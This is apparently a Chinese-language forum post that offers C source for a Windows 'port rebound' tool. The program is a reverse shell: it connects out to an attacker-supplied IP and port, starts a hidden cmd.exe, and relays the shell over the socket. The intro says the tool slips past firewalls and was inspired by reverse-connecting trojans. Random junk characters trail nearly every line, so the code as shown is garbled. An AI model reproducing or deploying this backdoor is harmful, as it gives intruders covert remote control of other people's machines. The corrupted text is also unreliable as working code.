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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 71[?AmxV  
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/* ============================== ghB&wOm/  
Rebound port in Windows NT -n|>U:  
By wind,2006/7 c$ib-  
===============================*/ V^Z5i]zT  
#include GP4!t~"1  
#include r?[[.zm"7  
4bL *7bA  
#pragma comment(lib,"wsock32.lib") *\'t$se+  
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void OutputShell(); s&V sK#  
SOCKET sClient; 7/hn%obC  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YL|)`m0-^5  
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void main(int argc,char **argv) J7",fb  
{ Yu" Q  
WSADATA stWsaData; $k&v juB.  
int nRet; VV1sadS:S`  
SOCKADDR_IN stSaiClient,stSaiServer; &D{!zF  
ZlC+DXg#S  
if(argc != 3) ?'f  
{ b3>zdS]Q  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]\|2=  
return; Zx{Sxv"  
} \`~YW<D  
]3,9 ."^  
WSAStartup(MAKEWORD(2,2),&stWsaData); sk9Ejaf6>  
(OES~G  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [8Y7Q5Had  
g9 ^\Q Yh!  
stSaiClient.sin_family = AF_INET; lFtEQ '}  
stSaiClient.sin_port = htons(0); Q.Nw#r+m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :atd_6   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,h1\PT9ULY  
{ ,_YI:xie|c  
printf("Bind Socket Failed!\n"); (Ox&B+\v+v  
return; @:CM<+  
} cA 4?[F  
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stSaiServer.sin_family = AF_INET; .F@Lx45  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); en{p<]H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bs\k b-\R  
0|-}>>qb\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n[!QrEeR},  
{ 4t =Kt  
printf("Connect Error!"); Pf4zjc  
return; v4Ag~Evcx  
} {:"<E?+  
OutputShell(); vzfMME17  
} ,m`&J?  
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void OutputShell() tx[;& ;  
{ *LBF+L^C%  
char szBuff[1024]; )?radg  
SECURITY_ATTRIBUTES stSecurityAttributes; jEQ_#KKYJ  
OSVERSIONINFO stOsversionInfo; wxK71OH  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )vOBF5  
STARTUPINFO stStartupInfo; X1P1 $RdkR  
char *szShell; 4.,|vtp  
PROCESS_INFORMATION stProcessInformation; ^kcuRJ0*$  
unsigned long lBytesRead; 8i;drvf  
{ST8'hY  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZMMx)}hS  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0B9FPpx?:  
stSecurityAttributes.lpSecurityDescriptor = 0; .4E24FB[f?  
stSecurityAttributes.bInheritHandle = TRUE; \6a' p Q,  
jbe:"S tw  
JE:LA+ (  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |*J;X<Vm  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GjW(&p$&  
}O crA/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?+=,t]`!m  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p@Os  
stStartupInfo.wShowWindow = SW_HIDE; R?lTB3"  
stStartupInfo.hStdInput = hReadPipe; l[5** ?#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <astIu Au  
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GetVersionEx(&stOsversionInfo); : ^}!"4{  
Y{e,I-"{  
switch(stOsversionInfo.dwPlatformId) & ;5f/  
{ |b='DJz2  
case 1: bt1bTo  
szShell = "command.com"; L=Aj+  
break; r*mYtS  
default: 2Q(ZW@0  
szShell = "cmd.exe"; :n~Mg{j3  
break; vxPr)"Vvz  
} tq}sedYhee  
6v:L8 t$"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); * wqR.n?  
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send(sClient,szMsg,77,0); VWdTnu  
while(1) Tg@G-6u0c  
{ .Gr"| uII  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3nhQ^zqf  
if(lBytesRead) . &}x[~g  
{ J:uFQWxZ   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jl 7>  
send(sClient,szBuff,lBytesRead,0); /-lW$.+{?  
} zBTxM  
else 3VMaD@nYa  
{ _]'kw [  
lBytesRead=recv(sClient,szBuff,1024,0); U<XfO'XJ  
if(lBytesRead<=0) break; GfP'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?6vGE~ MuR  
} 7!`1K_v6  
} %CQa8<q  
gJwX  
return; UjunIKX+  
}
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